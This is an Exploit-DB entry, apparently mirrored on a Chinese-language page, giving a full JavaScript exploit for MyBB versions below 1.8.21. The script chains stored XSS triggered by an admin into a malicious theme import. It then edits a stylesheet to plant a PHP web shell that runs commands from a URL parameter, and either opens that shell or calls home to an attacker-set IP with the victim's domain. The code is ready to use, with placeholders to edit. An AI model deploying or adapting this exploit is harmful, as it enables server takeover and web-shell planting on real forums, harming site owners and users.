MyBB < 1.8.21 - Remote Code Execution

  • 作者: Giovanni Chhatta
    日期: 2019-07-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47161/
  • /*
    # Exploit Title: MyBB < 1.8.21 Authenticated RCE 
    # Date: July 24, 2019
    # Exploit Author: Giovanni Chhatta (https://www.linkedin.com/in/giovannichhatta/)
    # Vendor Homepage: https://mybb.com/
    # Software Link: https://resources.mybb.com/downloads/mybb_1820.zip
    # Version: 1.8.20
    # Tested on: Windows 10
    # Blog: https://blog.ripstech.com/2019/mybb-stored-xss-to-rce/
    
    Example payload: 
    This payload fetches another JS file (mybb.js), hosted on a VPS.
    
    NOTE: Mybb's textbox will dynamically change apostrophes (') to &#39; . To fix this just manually change them back to apostrophes and hit 'send'. 
    The payload will trigger once an admin views the message.
    */
    
    /*
     * mybb.js
     */
    
    function postReq(toUrl,body,setHeaders = true){
    	var xhr = new XMLHttpRequest();
    	xhr.open("POST",toUrl,false);
    
    	if(setHeaders){
    		xhr.setRequestHeader("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0");
    		xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    		xhr.setRequestHeader("Accept-Language","nl,en-US;q=0.7,en;q=0.3");
    		xhr.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------21840354016818");
    		xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
    	}else{
    		xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    	}	
    	xhr.send(body);
    }
    
    function getReq(toUrl, property = true){
    	var xhr = new XMLHttpRequest();
    
    	xhr.open("GET",toUrl,false);
    	xhr.send();
    
    	prop = property ? xhr.responseText : xhr.status;
    	return prop; 
    }
    
    function upload(url,key,payload){
    	url = url + "admin/index.php?module=style-themes&action=import";
    	data = "-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"my_post_key\"\r\n\r\n"+key+"\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"import\"\r\n\r\n0\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"local_file\"; filename=\"shel1l.xml\"\r\nContent-Type: text/xml\r\n\r\n"+payload+"\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"url\"\r\n\r\n\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"tid\"\r\n\r\n1\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"version_compat\"\r\n\r\n1\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"import_stylesheets\"\r\n\r\n1\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"import_templates\"\r\n\r\n1\r\n-----------------------------21840354016818--\r\n";
    	postReq(url,data);
    }
    
    function fakeDiv(body){
    	var div = document.createElement('div');
    	div.innerHTML = body;
    	div.setAttribute("id","fakediv");
    	
    	document.body.append(div);
    	var themeLink = document.getElementsByClassName("popup_item")[2].href;
    	var themeID = themeLink.substring(themeLink.indexOf("tid")+4,themeLink.length);
    	document.getElementById("fakediv").remove();
    	return themeID;
    }
    
    function getThemeID(url){
    	url = url + "admin/index.php?module=style-themes";
    	responseBody = getReq(url); 
    	return fakeDiv(responseBody);
    }
    
    function editStylesheet(url,key,tid,filename){
    	url = url + "admin/index.php?module=style-themes&action=edit_stylesheet&mode=advanced";
    	data = "my_post_key="+key+"&tid="+tid+"&file="+filename+"&stylesheet=%3C%3Fphp+system%28%24_GET%5B1%5D%29%3B+%3F%3E&save=Save+Changes";
    
    	postReq(url,data,false);
    
    }
    
    function checkShell(url,theme,filename){
    	url = url + "cache/themes/theme" + theme + "/" + filename;
    	if(getReq(url,false) == 200){
    		console.log("[*] Shell found in theme " + theme);
    		window.open(host + "cache/themes/theme"+theme+"/"+filename+"?1=whoami");
    	}else{
    		console.log("[!] Exploit failed: Couldn't find shell.")
    	}
    }
    
    function callHome(theme){
    	let IP = "10.11.6.96"; // Change this
    	let port = 1234; // Change this
    
    	let url = "http://" + IP + ":" + port + "/" + document.domain + "/isPwned/theme" + theme;
    
    	getReq(url);
    }
    
    isAdmin = false;
    
    host = location.href.split('/')[0] + "//" + location.href.split('/')[2] + "/mybb/"; // Change last part 
    key = document.getElementsByName("my_post_key")[0].value;
    filename = "910910910910910910910910xD.php";
    payload = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<theme>\r\n<stylesheets>\r\n<stylesheet name=\""+filename+".css\">\r\ngecko\r\n</stylesheet>\r\n</stylesheets>\r\n</theme>"
    upload(host,key,payload);
    theme = getThemeID(host);
    editStylesheet(host,key,theme,filename);
    
    isAdmin ? checkShell(host,theme,filename) : callHome(theme);